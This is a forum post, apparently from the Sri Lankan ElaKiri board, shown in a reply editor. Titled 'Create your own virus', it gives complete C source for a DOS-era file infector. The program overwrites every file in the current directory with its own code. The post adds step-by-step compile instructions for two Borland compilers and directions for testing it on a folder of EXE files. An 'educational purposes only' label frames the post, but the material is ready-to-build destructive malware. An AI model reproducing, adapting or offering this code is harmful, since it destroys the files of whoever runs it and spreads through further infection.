Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
Colombo
RidhMathraa ’26 🎶✨
Tmadhusanka
Updated:
Yesterday at 11:58 PM
Ad icon
Colombo
PXN V10 Pro Direct Drive Racing Wheel (Under Warranty)
Abdur Rahman
Updated:
Yesterday at 10:23 PM
Ad icon
USDT ණය සේවාව - USDT Loan Service
පුරවැසියා
Updated:
Yesterday at 4:54 PM
Ad icon
🎮 INDIAN PSN GIFT CARDS AVAILABLE NOW! 🎮
madukaperera
Updated:
Tuesday at 12:57 PM
🚀 Google AI PRO – 18 Months | Rs. 850 Only
lkkolla
Updated:
Monday at 4:56 PM
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
ElaKiri Talk!
Only for programmers
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="ishansasanka19" data-source="post: 4002747" data-attributes="member: 146044"><p><span style="font-size: 18px"><span style="color: Red"><span style="color: DarkGreen">Create your own virus</span></span></span></p><p><span style="font-size: 18px"><span style="color: Red">WARNING: FOR EDUCATIONAL PURPOSES ONLY</span></span></p><p></p><p></p><p>This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.</p><p> #include<stdio.h></p><p>#include<io.h></p><p>#include<dos.h></p><p>#include<dir.h></p><p>#include<conio.h></p><p>#include<time.h></p><p> FILE *virus,*host;</p><p>int done,a=0;</p><p>unsigned long x;</p><p>char buff[2048];</p><p>struct ffblk ffblk;</p><p>clock_t st,end;</p><p> void main()</p><p>{</p><p>st=clock();</p><p>clrscr();</p><p>done=findfirst(”*.*”,&ffblk,0);</p><p>while(!done)</p><p>{</p><p>virus=fopen(_argv[0],”rb”);</p><p>host=fopen(ffblk.ff_name,”rb+”);</p><p>if(host==NULL) goto next;</p><p>x=89088;</p><p>printf(”Infecting %s\n”,ffblk.ff_name,a);</p><p>while(x>2048)</p><p>{</p><p>fread(buff,2048,1,virus);</p><p>fwrite(buff,2048,1,host);</p><p>x-=2048;</p><p>}</p><p>fread(buff,x,1,virus);</p><p>fwrite(buff,x,1,host);</p><p>a++;</p><p>next:</p><p>{</p><p>fcloseall();</p><p>done=findnext(&ffblk);</p><p>}</p><p>}</p><p>printf(”DONE! (Total Files Infected= %d)”,a);</p><p>end=clock();</p><p>printf(”TIME TAKEN=%f SEC\n”,</p><p>(end-st)/CLK_TCK);</p><p>getch();</p><p>}</p><p> <strong>COMPILING METHOD:</strong></p><p></p><p><strong>BORLAND TC++ 3.0 (16-BIT):</strong></p><p></p><p>1. Load the program in the compiler, press Alt-F9 to compile</p><p> 2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)</p><p> 3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)</p><p> 4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)</p><p> 5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect</p><p> <strong>BORLAND C++ 5.5 (32-BIT) :</strong></p><p></p><p>1. Compile once,note down the generated EXE file length in bytes</p><p> 2. Change the value of X in source code to this length in bytes</p><p> 3. Recompile it.The new EXE file is ready to infect</p><p> <strong>HOW TO TEST:</strong></p><p></p><p>1. Open new empty folder</p><p></p><p>2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)</p><p> 3. Run the virus EXE file there you will see all the files in the current directory get infected.</p><p> 4.All the infected files will be ready to reinfect</p><p> That’s it</p><p></p><p></p><p></p><p></p><p><span style="font-size: 18px"><span style="color: Red">WARNING: FOR EDUCATIONAL PURPOSES ONLY</span></span></p><p></p><p></p><p style="text-align: center"><a href="http://www.shanmobiles.tk" target="_blank"><img src="http://img443.imageshack.us/img443/5848/shanmobilesar4.jpg" alt="" class="fr-fic fr-dii fr-draggable " style="" /></a></p> <p style="text-align: center"></p> <p style="text-align: center"></p></blockquote><p></p>
[QUOTE="ishansasanka19, post: 4002747, member: 146044"] [SIZE=5][COLOR=Red][COLOR=DarkGreen]Create your own virus[/COLOR] WARNING: FOR EDUCATIONAL PURPOSES ONLY[/COLOR][/SIZE] This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program. #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(”*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(”Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(”DONE! (Total Files Infected= %d)”,a); end=clock(); printf(”TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); } [B]COMPILING METHOD:[/B] [B]BORLAND TC++ 3.0 (16-BIT):[/B] 1. Load the program in the compiler, press Alt-F9 to compile 2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER) 3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE) 4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT) 5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect [B]BORLAND C++ 5.5 (32-BIT) :[/B] 1. Compile once,note down the generated EXE file length in bytes 2. Change the value of X in source code to this length in bytes 3. Recompile it.The new EXE file is ready to infect [B]HOW TO TEST:[/B] 1. Open new empty folder 2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER) 3. Run the virus EXE file there you will see all the files in the current directory get infected. 4.All the infected files will be ready to reinfect That’s it [SIZE=5][COLOR=Red]WARNING: FOR EDUCATIONAL PURPOSES ONLY[/COLOR][/SIZE] [CENTER][URL="http://www.shanmobiles.tk"][IMG]http://img443.imageshack.us/img443/5848/shanmobilesar4.jpg[/IMG][/URL] [/CENTER] [/QUOTE]
Insert quotes…
Verification
Asuwa dahayen wadi kalama keeyada?
Post reply
Top
Bottom